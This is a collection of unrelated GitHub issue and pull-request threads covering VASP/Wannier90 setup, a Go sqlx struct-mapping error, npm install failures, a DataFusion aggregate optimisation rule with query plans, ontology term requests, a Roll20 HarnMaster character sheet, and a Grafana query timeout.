https://github.com/notifications/unsubscribe-auth/ATSIGRW4ARV3HGKP6SORQETV3I7HNANCNFSM54PQPA6A
.
You are receiving this because you commented.Message ID:
@.***>

The VASP wiki did mention that the wannier90 lib should be compiled without 'COMMS=MPI'.
I have tried this before on VASP 6.3.0 and it still did not work.
I have done several simple tests and the VASP 6.3.0 show better performance that VASP 5.4.4 only in rare cases.
So I think using the downgraded version of VASP just make sense.

So the problem seems to be with VASP2Wannier interface rather than WannSymm code?

Yes, setting DFTcode = 'QE' has solved my problem. Could you add some additional words to the README, just like" 'VASP' for VASP5 and WIEN2k (wannier90 version 1.x), 'QE'   for Quantum ESPRESSO and VASP6 (wannier90 version 2.x and newer)". I hope this may reduce the confusions about the meaning of this tag.
And thank you for your WannSymm codes. It helps me a lot in my researches and it is user-friendly.


missing destination name scene_type in *[]*model.Resource

Issue description
I have a table named resource and have defined a struct for it. However, I now need to add a new field to the table, but when this field is not yet added to the struct definition in the code, running the code results in an error: "missing destination name scene_type in *[]*model.Resource." ,even though I didn't use this field .
How can I avoid this error? Since database changes and code changes are not deployed simultaneously, this could cause issues when the service goes live.
Example code
type Resource struct {
	Id            int          `db:"id" json:"id"`
	CompanyId     int          `db:"company_id" json:"companyId"`
	Pid           int          `db:"pid" json:"pid"`
	CreatorId     int          `db:"creator_id" json:"creatorId"`
	Size          int64        `db:"size" json:"size"`
	Width         int          `db:"width" json:"width"`
	Height        int          `db:"height" json:"height"`
	IsFolder      bool         `db:"is_folder" json:"isFolder"`
	Trashed       bool         `db:"trashed" json:"trashed"`
	Type          ResourceType `db:"type" json:"type"`
	Filename      string       `db:"filename" json:"filename"`
	Extension     string       `db:"extension" json:"extension"`
	Thumbnail     string       `db:"thumbnail" json:"thumbnail"`
	// SceneType     int          `db:"scene_type" json:"sceneType"`   //if I not add this it will be error,even though I didn't use this field

}

Error log
missing destination name scene_type in *[]*model.Resource

Hi, this is the solution
type Person struct {
Name string
}
var p Person
// this will NOT return an error, even though place columns have no destination
udb := db.Unsafe()
err = udb.Get(&p, "SELECT * FROM person, place LIMIT 1;")

I have a table named resource and have defined a struct for it. However, I now need to add a new field to the table, but when this field is not yet added to the struct definition in the code, running the code results in an error: "missing destination name scene_type in *[]*model.Resource." ,even though I didn't use this field . How can I avoid this error? Since database changes and code changes are not deployed simultaneously, this could cause issues when the service goes live.

Thanks！


Y-Axis Labels

It would be great if the left side of the plot could be labeled with the data names of each line.
User story
Users would be able to quickly gain insight into what the plot was representing if the data labels were shown. Then they would be able to hover over the lines that correspond to the specific data users are interested for the actual values.
Additional context
I was able to add some of the words represented in the plot by adding them to the ticks on the y axis in options. This did lead to a gap between the left most edge of the plot and the start of the actual plot, most words were left out using this method, and the words were not properly aligned with the corresponding line.
    const chart = new Chart(ctx, {
      type: 'pcp',
      data: {
        labels: pcpWords.map((c) => c.word),
        datasets: attrs.map((attr) => ({
          label: attr,
          data: pcpWords.map((c) => c[attr]),
        })),
      },
      options: {
        scales: {
          y: {
            type: 'linear',
            position: 'left',
            title: {
              display: true,
              text: 'Words'
            },
            ticks: {
              callback: function (value, index) {
                return pcpWords[index].word;
              }
            }
          }
        }
      },
    });

I'm confused about this plot if X = time, why not using a line chart?

We are planning to set up the PCP plot with the ability to switch the x-axis between time and platform. I attached an image of the one by platform. (I'm not sure how the white bar got inserted into the image, I guess something went wrong when it was converted)


changed doctor page

changed doctor page some css     reference  #1

Thanks for the contribution, however I would like to point out that you should only change the css properties and add and commit only those changes. The other changes made for example- in the mongoose, proxy server and the original postsArray should not be pushed.
They were changed so you can test the design on your local system and were not meant for the remote repo

Look into it and push only the css changes, not all the ones

Add only css changes and commit those only.
Refer to this:
https://dev.to/github/how-to-undo-pushed-commits-with-git-2pe6


fix: prettier fullscreen for macOS

Managed to mess up #3014 whilst updating patches for Hyper 3.0.0, so off to a fresh start. This fixes the unnecessary bordershim in fullscreen on macOS, to make everything look a little tidier.
Updates to electron (per https://github.com/electron/electron/issues/13147) have fixed the incompatibility with transparency too.
Runs fine in dev, and with hyper-vibrant it's nice and glassy. Builds fine too.
Fixes #5
Note I haven't tested on anything but macOS 10.14.4.
screenshots

Tested and works well on Windows :)


Install fails at async module

Both methods of installation are failing.  Trying first:
npm install -g aemm

And then, the alternate approach:
git clone https://github.com/adobe-marketing-cloud-mobile/aemmobile.git
cd aemmobile
npm -g install
npm link

Both fail (with sudo) when installing async:
npm ERR! Darwin 15.6.0
npm ERR! argv "/usr/local/bin/node" "/usr/local/bin/npm" "-g" "install"
npm ERR! node v6.4.0
npm ERR! npm  v3.10.3
npm ERR! path /usr/local/lib/node_modules/.staging/async-78e744d0
npm ERR! code ENOENT
npm ERR! errno -2
npm ERR! syscall rename

npm ERR! enoent ENOENT: no such file or directory, rename '/usr/local/lib/node_modules/.staging/async-78e744d0' -> '/usr/local/lib/node_modules/aemm/node_modules/localtunnel/node_modules/request/node_modules/form-data/node_modules/async'
npm ERR! enoent ENOENT: no such file or directory, rename '/usr/local/lib/node_modules/.staging/async-78e744d0' -> '/usr/local/lib/node_modules/aemm/node_modules/localtunnel/node_modules/request/node_modules/form-data/node_modules/async'
npm ERR! enoent This is most likely not a problem with npm itself
npm ERR! enoent and is related to npm not being able to find a file.
npm ERR! enoent

npm ERR! Please include the following file with any support request:
npm ERR!     /Users/jsturges/Projects/aemmobile/npm-debug.log
npm ERR! code 1

This is with:

node: v6.4.0
npm: v3.10.3
Mac OS X El Capitan v10.11.6

Any recommendations; or, fix in the pipeline?

Looks like people have run into a similar issue with phonegap and cordova installs here and here. Can you try running npm cache clean then try running sudo npm install -g aemm?

@adzellman Thanks, I did try that; however, receive the same error.

There is reference to it being a race condition in the installation. Some people report that running the cache clean and install over and over eventually works. E.g., one user reports that it took four tries. I don't wish this workflow upon our users, so I'll continue looking for a solution. In the meantime, if this is a blocking issue for you, then I would try this "lather-rinse-repeat" method.

@adzellman Oh, thanks for that link.  While I had previously tried to clean cache, I guess I had to explicitly remove the former install:
sudo npm remove -g aemm
npm cache clean
sudo npm install -g aemm@latest

Great! Perhaps we should add this to the README.


Add new physical rule CombinePartialFinalAggregate

Which issue does this PR close?

Closes #5836, #5774.
Rationale for this change
Improve the performance of Aggregate

What changes are included in this PR?

Implement PartialEq for AggregateExpr
Add a new Aggregate mode: AggregateMode:Single
Add a new rule CombinePartialFinalAggregate  to combine the adjacent Partial and Final AggregateExecs

Are these changes tested?
TPCH-q17
cargo run --bin tpch -- benchmark datafusion --iterations 1 --path ./parquet_data --format parquet --query 17 -n 1 --disable-statistics --debug
Before this PR
=== Physical plan with metrics ===
ProjectionExec: expr=[CAST(SUM(lineitem.l_extendedprice)@0 AS Float64) / 7 as avg_yearly], metrics=[output_rows=1, elapsed_compute=4.708µs, spill_count=0, spilled_bytes=0, mem_used=0]
  AggregateExec: mode=Final, gby=[], aggr=[SUM(lineitem.l_extendedprice)], metrics=[output_rows=1, elapsed_compute=2.25µs, spill_count=0, spilled_bytes=0, mem_used=0]
    AggregateExec: mode=Partial, gby=[], aggr=[SUM(lineitem.l_extendedprice)], metrics=[output_rows=1, elapsed_compute=8.125µs, spill_count=0, spilled_bytes=0, mem_used=0]
      ProjectionExec: expr=[l_extendedprice@1 as l_extendedprice], metrics=[output_rows=587, elapsed_compute=292ns, spill_count=0, spilled_bytes=0, mem_used=0]
        CoalesceBatchesExec: target_batch_size=8192, metrics=[output_rows=587, elapsed_compute=23.22µs, spill_count=0, spilled_bytes=0, mem_used=0]
          HashJoinExec: mode=CollectLeft, join_type=Inner, on=[(Column { name: "p_partkey", index: 2 }, Column { name: "l_partkey", index: 0 })], filter=BinaryExpr { left: CastExpr { expr: Column { name: "l_quantity", index: 0 }, cast_type: Decimal128(30, 15), cast_options: CastOptions { safe: false } }, op: Lt, right: CastExpr { expr: Column { name: "__value", index: 1 }, cast_type: Decimal128(30, 15), cast_options: CastOptions { safe: false } } }, metrics=[output_rows=200000, build_input_batches=1, input_rows=200000, output_batches=25, input_batches=25, build_input_rows=6088, build_mem_used=514520, build_time=441.023722ms, join_time=1.100547ms]
            ProjectionExec: expr=[l_quantity@1 as l_quantity, l_extendedprice@2 as l_extendedprice, p_partkey@3 as p_partkey], metrics=[output_rows=6088, elapsed_compute=375ns, spill_count=0, spilled_bytes=0, mem_used=0]
              CoalesceBatchesExec: target_batch_size=8192, metrics=[output_rows=6088, elapsed_compute=2.5µs, spill_count=0, spilled_bytes=0, mem_used=0]
                HashJoinExec: mode=CollectLeft, join_type=Inner, on=[(Column { name: "l_partkey", index: 0 }, Column { name: "p_partkey", index: 0 })], metrics=[output_rows=204, build_input_batches=733, input_rows=204, output_batches=1, input_batches=1, build_input_rows=6001215, build_mem_used=517375864, build_time=428.277166ms, join_time=4.338959ms]
                  ParquetExec: limit=None, partitions={1 group: [[Users/mingmwang/gitrepo/apache/arrow-datafusion/benchmarks/parquet_data/lineitem/part-0.parquet]]}, projection=[l_partkey, l_quantity, l_extendedprice], metrics=[output_rows=6001215, elapsed_compute=1ns, spill_count=0, spilled_bytes=0, mem_used=0, predicate_evaluation_errors=0, bytes_scanned=45261954, pushdown_rows_filtered=0, row_groups_pruned=0, num_predicate_creation_errors=0, page_index_rows_filtered=0, page_index_eval_time=2ns, time_elapsed_processing=171.43936ms, pushdown_eval_time=2ns, time_elapsed_scanning_total=180.158936ms, time_elapsed_opening=1.045458ms, time_elapsed_scanning_until_data=4.35775ms]
                  ProjectionExec: expr=[p_partkey@0 as p_partkey], metrics=[output_rows=204, elapsed_compute=208ns, spill_count=0, spilled_bytes=0, mem_used=0]
                    CoalesceBatchesExec: target_batch_size=8192, metrics=[output_rows=204, elapsed_compute=13.712µs, spill_count=0, spilled_bytes=0, mem_used=0]
                      FilterExec: p_brand@1 = Brand#23 AND p_container@2 = MED BOX, metrics=[output_rows=204, elapsed_compute=2.42554ms, spill_count=0, spilled_bytes=0, mem_used=0]
                        ParquetExec: limit=None, partitions={1 group: [[Users/mingmwang/gitrepo/apache/arrow-datafusion/benchmarks/parquet_data/part/part-0.parquet]]}, predicate=p_brand@3 = Brand#23 AND p_container@6 = MED BOX, pruning_predicate=p_brand_min@0 <= Brand#23 AND Brand#23 <= p_brand_max@1 AND p_container_min@2 <= MED BOX AND MED BOX <= p_container_max@3, projection=[p_partkey, p_brand, p_container], metrics=[output_rows=200000, elapsed_compute=1ns, spill_count=0, spilled_bytes=0, mem_used=0, predicate_evaluation_errors=0, bytes_scanned=744742, pushdown_rows_filtered=0, row_groups_pruned=0, num_predicate_creation_errors=0, page_index_rows_filtered=0, page_index_eval_time=2ns, time_elapsed_processing=5.893912ms, pushdown_eval_time=2ns, time_elapsed_scanning_total=8.75517ms, time_elapsed_opening=2.033041ms, time_elapsed_scanning_until_data=2.282542ms]
            ProjectionExec: expr=[l_partkey@0 as l_partkey, 0.2 * CAST(AVG(lineitem.l_quantity)@1 AS Float64) as __value], metrics=[output_rows=200000, elapsed_compute=604.917µs, spill_count=0, spilled_bytes=0, mem_used=0]
              AggregateExec: mode=Final, gby=[l_partkey@0 as l_partkey], aggr=[AVG(lineitem.l_quantity)], metrics=[output_rows=200000, elapsed_compute=59.743373ms, spill_count=0, spilled_bytes=0, mem_used=0]
                AggregateExec: mode=Partial, gby=[l_partkey@0 as l_partkey], aggr=[AVG(lineitem.l_quantity)], metrics=[output_rows=200000, elapsed_compute=2.991533862s, spill_count=0, spilled_bytes=0, mem_used=0]
                  ParquetExec: limit=None, partitions={1 group: [[Users/mingmwang/gitrepo/apache/arrow-datafusion/benchmarks/parquet_data/lineitem/part-0.parquet]]}, projection=[l_partkey, l_quantity], metrics=[output_rows=6001215, elapsed_compute=1ns, spill_count=0, spilled_bytes=0, mem_used=0, predicate_evaluation_errors=0, bytes_scanned=24308735, pushdown_rows_filtered=0, row_groups_pruned=0, num_predicate_creation_errors=0, page_index_rows_filtered=0, page_index_eval_time=2ns, time_elapsed_processing=96.39778ms, pushdown_eval_time=2ns, time_elapsed_scanning_total=3.083229128s, time_elapsed_opening=1.210625ms, time_elapsed_scanning_until_data=2.773209ms]

After this PR:
ProjectionExec: expr=[CAST(SUM(lineitem.l_extendedprice)@0 AS Float64) / 7 as avg_yearly], metrics=[output_rows=1, elapsed_compute=3.292µs, spill_count=0, spilled_bytes=0, mem_used=0]
  AggregateExec: mode=Single, gby=[], aggr=[SUM(lineitem.l_extendedprice)], metrics=[output_rows=1, elapsed_compute=7.041µs, spill_count=0, spilled_bytes=0, mem_used=0]
    ProjectionExec: expr=[l_extendedprice@1 as l_extendedprice], metrics=[output_rows=587, elapsed_compute=209ns, spill_count=0, spilled_bytes=0, mem_used=0]
      CoalesceBatchesExec: target_batch_size=8192, metrics=[output_rows=587, elapsed_compute=23.677µs, spill_count=0, spilled_bytes=0, mem_used=0]
        HashJoinExec: mode=CollectLeft, join_type=Inner, on=[(Column { name: "p_partkey", index: 2 }, Column { name: "l_partkey", index: 0 })], filter=BinaryExpr { left: CastExpr { expr: Column { name: "l_quantity", index: 0 }, cast_type: Decimal128(30, 15), cast_options: CastOptions { safe: false } }, op: Lt, right: CastExpr { expr: Column { name: "__value", index: 1 }, cast_type: Decimal128(30, 15), cast_options: CastOptions { safe: false } } }, metrics=[output_rows=200000, build_input_rows=6088, input_rows=200000, output_batches=25, build_input_batches=1, input_batches=25, build_mem_used=514520, join_time=1.089208ms, build_time=444.242481ms]
          ProjectionExec: expr=[l_quantity@1 as l_quantity, l_extendedprice@2 as l_extendedprice, p_partkey@3 as p_partkey], metrics=[output_rows=6088, elapsed_compute=375ns, spill_count=0, spilled_bytes=0, mem_used=0]
            CoalesceBatchesExec: target_batch_size=8192, metrics=[output_rows=6088, elapsed_compute=2.46µs, spill_count=0, spilled_bytes=0, mem_used=0]
              HashJoinExec: mode=CollectLeft, join_type=Inner, on=[(Column { name: "l_partkey", index: 0 }, Column { name: "p_partkey", index: 0 })], metrics=[output_rows=204, build_input_rows=6001215, input_rows=204, output_batches=1, build_input_batches=733, input_batches=1, build_mem_used=517375864, join_time=3.597959ms, build_time=432.300961ms]
                ParquetExec: limit=None, partitions={1 group: [[Users/mingmwang/gitrepo/apache/arrow-datafusion/benchmarks/parquet_data/lineitem/part-0.parquet]]}, projection=[l_partkey, l_quantity, l_extendedprice], metrics=[output_rows=6001215, elapsed_compute=1ns, spill_count=0, spilled_bytes=0, mem_used=0, num_predicate_creation_errors=0, predicate_evaluation_errors=0, pushdown_rows_filtered=0, row_groups_pruned=0, page_index_rows_filtered=0, bytes_scanned=45261954, page_index_eval_time=2ns, time_elapsed_processing=172.17813ms, pushdown_eval_time=2ns, time_elapsed_opening=1.031708ms, time_elapsed_scanning_total=180.707651ms, time_elapsed_scanning_until_data=4.388ms]
                ProjectionExec: expr=[p_partkey@0 as p_partkey], metrics=[output_rows=204, elapsed_compute=375ns, spill_count=0, spilled_bytes=0, mem_used=0]
                  CoalesceBatchesExec: target_batch_size=8192, metrics=[output_rows=204, elapsed_compute=13.627µs, spill_count=0, spilled_bytes=0, mem_used=0]
                    FilterExec: p_brand@1 = Brand#23 AND p_container@2 = MED BOX, metrics=[output_rows=204, elapsed_compute=2.366041ms, spill_count=0, spilled_bytes=0, mem_used=0]
                      ParquetExec: limit=None, partitions={1 group: [[Users/mingmwang/gitrepo/apache/arrow-datafusion/benchmarks/parquet_data/part/part-0.parquet]]}, predicate=p_brand@3 = Brand#23 AND p_container@6 = MED BOX, pruning_predicate=p_brand_min@0 <= Brand#23 AND Brand#23 <= p_brand_max@1 AND p_container_min@2 <= MED BOX AND MED BOX <= p_container_max@3, projection=[p_partkey, p_brand, p_container], metrics=[output_rows=200000, elapsed_compute=1ns, spill_count=0, spilled_bytes=0, mem_used=0, num_predicate_creation_errors=0, predicate_evaluation_errors=0, pushdown_rows_filtered=0, row_groups_pruned=0, page_index_rows_filtered=0, bytes_scanned=744742, page_index_eval_time=2ns, time_elapsed_processing=5.880331ms, pushdown_eval_time=2ns, time_elapsed_opening=1.377625ms, time_elapsed_scanning_total=8.683539ms, time_elapsed_scanning_until_data=2.290333ms]
          ProjectionExec: expr=[l_partkey@0 as l_partkey, 0.2 * CAST(AVG(lineitem.l_quantity)@1 AS Float64) as __value], metrics=[output_rows=200000, elapsed_compute=585.001µs, spill_count=0, spilled_bytes=0, mem_used=0]
            AggregateExec: mode=Single, gby=[l_partkey@0 as l_partkey], aggr=[AVG(lineitem.l_quantity)], metrics=[output_rows=200000, elapsed_compute=2.682685209s, spill_count=0, spilled_bytes=0, mem_used=0]
              ParquetExec: limit=None, partitions={1 group: [[Users/mingmwang/gitrepo/apache/arrow-datafusion/benchmarks/parquet_data/lineitem/part-0.parquet]]}, projection=[l_partkey, l_quantity], metrics=[output_rows=6001215, elapsed_compute=1ns, spill_count=0, spilled_bytes=0, mem_used=0, num_predicate_creation_errors=0, predicate_evaluation_errors=0, pushdown_rows_filtered=0, row_groups_pruned=0, page_index_rows_filtered=0, bytes_scanned=24308735, page_index_eval_time=2ns, time_elapsed_processing=98.302065ms, pushdown_eval_time=2ns, time_elapsed_opening=1.118791ms, time_elapsed_scanning_total=2.782967665s, time_elapsed_scanning_until_data=2.825542ms]

Before this PR:
Query 17 iteration 0 took 3395.1 ms and returned 1 rows
Query 17 iteration 1 took 3598.1 ms and returned 1 rows
Query 17 iteration 2 took 3554.1 ms and returned 1 rows
Query 17 avg time: 3515.76 ms
After this PR:
Query 17 iteration 0 took 3486.8 ms and returned 1 rows
Query 17 iteration 1 took 3211.4 ms and returned 1 rows
Query 17 iteration 2 took 3201.6 ms and returned 1 rows
Query 17 avg time: 3299.93 ms

Are there any user-facing changes?

Will add some UT soon.

I understand the collapsing rule as it removes the requirement of creating a RecordBatch from states and then reading them back for final evaluation.
As for naming this new aggregation mode, I find Complete more descriptive when displayed as output, but I have no strong preference.
ProjectionExec: expr=[l_partkey@0 as l_partkey, ....
  AggregateExec: mode=Single...
      ParquetExec ...

ProjectionExec: expr=[l_partkey@0 as l_partkey, ...
  AggregateExec: mode=Complete...
      ParquetExec ...

As far as I can see, this only works for single partitions as input and not repartitioning in between (e.g. no concurrency), could you confirm?

As far as I can see, this only works for single partitions as input and not repartitioning in between (e.g. no concurrency), could you confirm?

No always. We will see the adjacent Partial + Final Aggregator for normal join and aggregation on the same key.
I will add more UTs and intg tests tomorrow to show the cases:
select distinct(t1.t1_id) from t1 inner join t2 on t1.t1_id = t2.t2_id;

AggregateExec: mode=Single, gby=[t1_id@0 as t1_id], aggr=[]",
      ProjectionExec: expr=[t1_id@0 as t1_id]",
        CoalesceBatchesExec: target_batch_size=4096",
          HashJoinExec: mode=Partitioned, join_type=Inner, on=[(Column { name: \"t1_id\", index: 0 }, Column { name: \"t2_id\", index: 0 })]",
            CoalesceBatchesExec: target_batch_size=4096",
              RepartitionExec: partitioning=Hash([Column { name: \"t1_id\", index: 0 }], 2), input_partitions=2",
                RepartitionExec: partitioning=RoundRobinBatch(2), input_partitions=1",
                  MemoryExec: partitions=1, partition_sizes=[1]",
            CoalesceBatchesExec: target_batch_size=4096",
              RepartitionExec: partitioning=Hash([Column { name: \"t2_id\", index: 0 }], 2), input_partitions=2",
                RepartitionExec: partitioning=RoundRobinBatch(2), input_partitions=1",
                  MemoryExec: partitions=1, partition_sizes=[1]",

As far as I can see, this only works for single partitions as input and not repartitioning in between (e.g. no concurrency), could you confirm?

No always. We will see the adjacent Partial + Final Aggregator for normal join and aggregation on the same key. I will add more UTs and intg tests tomorrow to show the cases:
select distinct(t1.t1_id) from t1 inner join t2 on t1.t1_id = t2.t2_id;

AggregateExec: mode=Single, gby=[t1_id@0 as t1_id], aggr=[]",
      ProjectionExec: expr=[t1_id@0 as t1_id]",
        CoalesceBatchesExec: target_batch_size=4096",
          HashJoinExec: mode=Partitioned, join_type=Inner, on=[(Column { name: \"t1_id\", index: 0 }, Column { name: \"t2_id\", index: 0 })]",
            CoalesceBatchesExec: target_batch_size=4096",
              RepartitionExec: partitioning=Hash([Column { name: \"t1_id\", index: 0 }], 2), input_partitions=2",
                RepartitionExec: partitioning=RoundRobinBatch(2), input_partitions=1",
                  MemoryExec: partitions=1, partition_sizes=[1]",
            CoalesceBatchesExec: target_batch_size=4096",
              RepartitionExec: partitioning=Hash([Column { name: \"t2_id\", index: 0 }], 2), input_partitions=2",
                RepartitionExec: partitioning=RoundRobinBatch(2), input_partitions=1",
                  MemoryExec: partitions=1, partition_sizes=[1]",

Ah yes  - in the case the underlying partition is already hash-repartitioned on the key. Makes sense, thanks.

@Dandandan @yjshen @alamb
Would you please help to review and approve this PR?

The agg expression and group expression comparing between the partial and final aggregation is problematic.

Convert it to draft


NTR: New terms for the Ontology for RNA Sequencing (ORNASEQ)

As part of our efforts to create the Ontology for RNA Sequencing (ORNASEQ), we request various terms be considered for addition to OBI. These new terms would ultimately be imported into ORNASEQ. The proposed terms are listed in the following spreadsheet.
https://docs.google.com/spreadsheets/d/1Rc0CLr4XBFo2zWeUIiG--MN4hg6SleqJyfyFt_mL5x0/edit?usp=sharing
The homepage for ORNASEQ is here: http://kim.bio.upenn.edu/software/ornaseq.shtml
The current draft of ORNASEQ can be downloaded in owl format from here: http://kim.bio.upenn.edu/ornaseq/2017/10/ornaseq.owl
If helpful, I'm happy to create a separate issue for each of the 30 terms.

Would love to be part of this discussion as an observer too :)
Thank you!

Based on Stephen's response to Dan it looks like there are about 6 or so still to discuss. I suggest scheduling an OBI call to finish these. How about Feb. 12 or March 5? Thanks, Chris

Sounds good, @cstoeckert   There were some questions I had in my feedback.  We can discuss on 2/12

The Google document has been updated with the changes discussed during the meeting. I added a column that denotes the changes.

Discussions between Dan, Chris and Stephen led to the creation of a "date process started" term. This is a child of "data item".
Specific process date terms will be moved into the application ontology (i.e. "date of specimen amplification" and "date of specimen library preparation") and defined as children of "date process started".
The Google doc has been updated accordingly.

I just updated the Google doc for "SIRV RNA spike-in" parent and description, to be consistent with "ERCC RNA spike-in".

seq file type (parent of requested term BCL format) is marked as obselete in EFO ontology...

Commit and pushed to branch DanBerrios


gitops run: Add silly little struct for paths

I'm not sure how much of a good idea this actually is - it's definitely under-developed. However, I had a small breakdown while trying to get paths right and had to try something to sort some paths out.
Basically, we expect the git repo to be "somewhere". Inside that git repository, there's a manifests directory, which is the same as the current working directory. Inside that directory, there's a clusters directory. Somewhere, probably but not necessarily inside the manifests directory but definitely inside the git directory, there's a workload directory. All of these paths can be refered to as relative paths, absolute paths, and some of them (in flux) should be prefixed with ./.
This bans all somethingPath variables, and puts a paths variable instead. That variable is a struct that has documented members so we can remember which path is which. There's no variable called relativePath.
Inside this struct, we should check those invariants described above, but for the moment I mainly just copy-pasted the code we already had.

Great job! 🎉
⚠ The only minor point: could you please move this new type + methods + related functions out of the main GitOps Run cmd file? It looks like quite a standalone thing. As we discussed today, the cmd file has grown too much. I see that you are removing some lines, but it would be nice to reduce its size even more.


Addition of HarnMaster 3 character sheet

Hello.  I would like to to submit this character sheet for use with Harn Master 3.  Credits and links to the RPG are included in the readme.  Info in sheet.json as requested.  The sheet has been fairly well tested with my group and has no known bugs at this time.

You do know that there is already a harn sheet on Roll20 which I created , perhaps you may want to modify that one rather than submit an additional sheet for the same system

I'm aware, this sheet came out of trying to use that one.  The differences are so large as to not be remotely compatible.  In my groups opinion (and mine) the other is extremely difficult to use and it would take a total rewrite, so I created one from scratch.

Ok well it may not be accepted as Roll20 does not like multiple sheets for the same system

I didn't see you're comment that you created it.  Thanks for the reply.  They may not and that's up to them.  The two sheets are so different I don't think they could be reconciled.

Well good luck , personally I don’t mind that there maybe two sheets and merry Christmas

I tried to use the roll20 harn character sheet and scrapped it in 5 minutes.  It does not work.  It also puts out mystery numbers in addition to other numbers that do not add up correctly.  So I had to make my own character sheet in the biotab section.  I then added skill totals and other items to the abilities tab.  It worked very well and I would have continued to use it until Streamweaver came up with a solution to the problem.
I have personally tested the new sheet and it works great.  I have uploaded it into my custom character sheet and converted my player characters over.  Streamweaver's sheet looks like a professional character sheet and the rolls that break out in color for CS, MS, MF, and CF are over the top.
Great job Streamweaver.  I hope your charcter sheet is accepted.  Harn DM's will be very happy for a character sheet that is usable.

Mjthurston do you have specific instances of why it didnt work for you as i would be interested in hearing your observations , personally i ran a harn weekly campaign for 4 players with it for 3 months with it , there are some issues but those relate to roll20 dice and how the rolls are related to the results but a hover over the roll in the chat does allow those results to be resolved using the quick reference sheet included in the rules , with regard to the sheet and the rules there are options in combat that require player choices so there are multiple buttons to reflect those choices which is what i prefer rather than having multiple popup windows, obviously if the wrong numbers were put into boxes then that effects the results as there are multiple behind the scenes calculations , by the way this sheet is for harn3 rather than harn gold as there are some subtle differences between the two rulesets which are mutually exclusive

It does not add up EML correctly.  It has a funky second number added  to the rolls.  I have no idea what this UG thing is supposed to do.  It doesn't calculate conditioning correctly.  The only thing it did was calculate encumbrance and a good place holder for skills and stats.  Rolling from this sheet was not fun.  I had to make my own macros for attack rolls.  Here is an example from the charcter sheet.  No way of knowing your target number.
Marcus T. (GM) rolls 87 1470 Efez Egum Attacks With Sword Weapon using 16 Skill.
This is how it looks for us below and we are molding this to HM3.
| Caelynd attacks with a Spear |
| Target Mods: ML(102), Penalty(-10), Mod(0) |
| Target EML: 92 |
| Roll(1d100): 48 |
| Marginal Success. |
| B(4) E(0) P(7) |
Give's a ML, a Penalty and a Mod for aiming.    It also gives you a result.  Much cleaner.
I also wish the sheet that is on the roll20 game was cleaner looking.  A nice clean character sheet with black letters on a white background.
If you are wanting to fix your character sheet here are my suggestions.
1.  Fix the calculation.  Conditioning can be improved with training.  You have no way of doing this unless you added it to the physical skills.
2.  Redo the attack rolls.  You can use the above as an example.
3.  Redo the sheet.  Black and white.  You don't have to get fancy.
4.  Not sure if you had a notes section, but that would be nice.
5.  Not sure if you had an inventory section, that would be nice also.
Marcus
On Monday, December 25, 2017, 5:25:31 PM EST, Rob<EMAIL_ADDRESS>wrote:

Mjthurston do you have specific instances of why it didnt work for you as i would be interested in hearing your observations , personally i ran a harn weekly campaign for 4 players with it for 3 months with it , there are some issues but those relate to roll20 dice and how the rolls are related to the results but a hover over the roll in the chat does allow those results to be resolved using the quick reference sheet included in the rules , with regard to the sheet and the rules there are options in combat that require player choices so there are multiple buttons to reflect those choices which is what i prefer rather than having multiple popup windows, obviously if the wrong numbers were put into boxes then that effects the results as there are multiple behind the scenes calculations , by the way this sheet is for harn3 rather than harn gold as there are some subtle differences between the two rulesets which are mutually exclusive
—
You are receiving this because you commented.
Reply to this email directly, view it on GitHub, or mute the thread.

Thanks everyone for their comments.  If I could bring this back to topic. I have a submission I'm making.  I think the world would be a fine place with two versions of Harn sheets as they do different things.  One does one set of things, this does another.  I believe the fan community would be well served by having both sets.

Thank you for comments I will have a look at the calculations when I ave a chance to do so , by the way “UG” is for upgrade and allows a temporary modifier to be put into the roll calculation and not effect the base calculations. As to the look of the sheet that is down to personal preference from the authors perspective and is outside the scope of these comments , I too see no reason why both sheets cannot exist


In the example examples/resnet50 trt, how to load multiple images of different sizes with client.py

client.py
    image_data = np.expand_dims(image_data, axis=0)
    inputs.append(tritongrpcclient.InferInput(input_name, image_data.shape, "UINT8"))
    outputs.append(tritongrpcclient.InferRequestedOutput(output_name))

i can not load multiple images of different sizes. image_data.shape is fixed.

@szalpal If use dynamic_batching, the server itself is going to combine the samples sent into a batch. How did it do it？Is it similar to your pad method?
Another question: Can dynamic_batching and static_batching be used together? If not. In terms of performance, which method is recommended?
Thank you!


Change docs for better user experience

And remove the $ symbol for better copying.

I really like the note feature


Logger be logging

You could probably make the debug messages blue with an info icon if you wanted to, but not very important.


Type cast

Coverage remained the same at 91.637% when pulling a65057381cb135c728fc18ad4c52e46b78e68981 on qingweibinary:qingwei/minor into 0122202b8b7cd026248b2970d59a7bbb10aa3364 on binary-com:master.


Witchwater interactions with water/lava

Versions
Minecraft: 1.19
Fabric: 0.14.8
Fabric API: 0.56.0
Fabrica Ex Nihilo 0.1.4
Description
Both in-world, and via REI, witchwater interactions seem incorrect. Witch + Lava = stone variants, Witch + Water = stone variants.
Assumedly witch + water is supposed to create the dirt variants instead. While using REI there are two witch+water recipes listed with different results.

Nice find, fixed in 0.1.5


Exception handling is not done right

Smallfile should define its own exception classes instead of throwing generic Exception.  This allows more specific exception handling and easier debugging if there is a problem.

addressed by PR 27


Update IdentifiedArray

https://github.com/pointfreeco/swift-composable-architecture/releases/tag/0.21.0
Change log (Breaking):
https://github.com/pointfreeco/swift-identified-collections/releases/0.1.0

pr here https://github.com/tokopedia/RxComposableArchitecture/pull/46


grafana timeout override

At first sorry if this question doesn't belong there.
We are using grafana to show data from clickhouse, which is forwarding queries into chproxy used as proxy in front of clickhouse.
Dashboards are working as intended - but only if i use range for only few days. If i need more data from wider range - two weeks or one month - i am facing timeouts after 60seconds.
I have digged what is causing these timeouts and it looks like that grafana have hardcoded timeout after 60 seconds for http queries.
If i try to select data from my local computer using curl straight to server with chproxy - it works. Also i can select data using http request straight into clickhouse server.
I have find this FR in grafana repo -  https://github.com/grafana/grafana/issues/3168 .Problem is that this FR is still open after 5 years.
My question is, if you faced same problem and what was your solution? Should i use another tool to show statistics from clickhouse? Or can i somehow avoid this timeout? We are using clickhouse as datawarehouse and we sometimes need these wider selects to show more statistics. As i understand clickhouse have no options to optimize heavy selects.
Thanks

first of all, 60 seconds is too long for one month date range in ClickHouse
could you share SQL query, CREATE TABLE statements with ENGINE and ORDER BY  \ PARTITION BY ?

Thanks for reply.
Yes it took a long time to finish, but this is not problem. We are performing selects with a lot of GROUP BY and joins to show right data in our graphs. My question was pointing maybe to te point how to modify this timeout inside grafana or plugin itself. I saw in debug logs that grafana is sending connection close after 60 seconds, so timeout in chproxy is pretty much useless. We did not observe timeouts when we perform select using curl directly into Chproxy and/or clickhouse http port
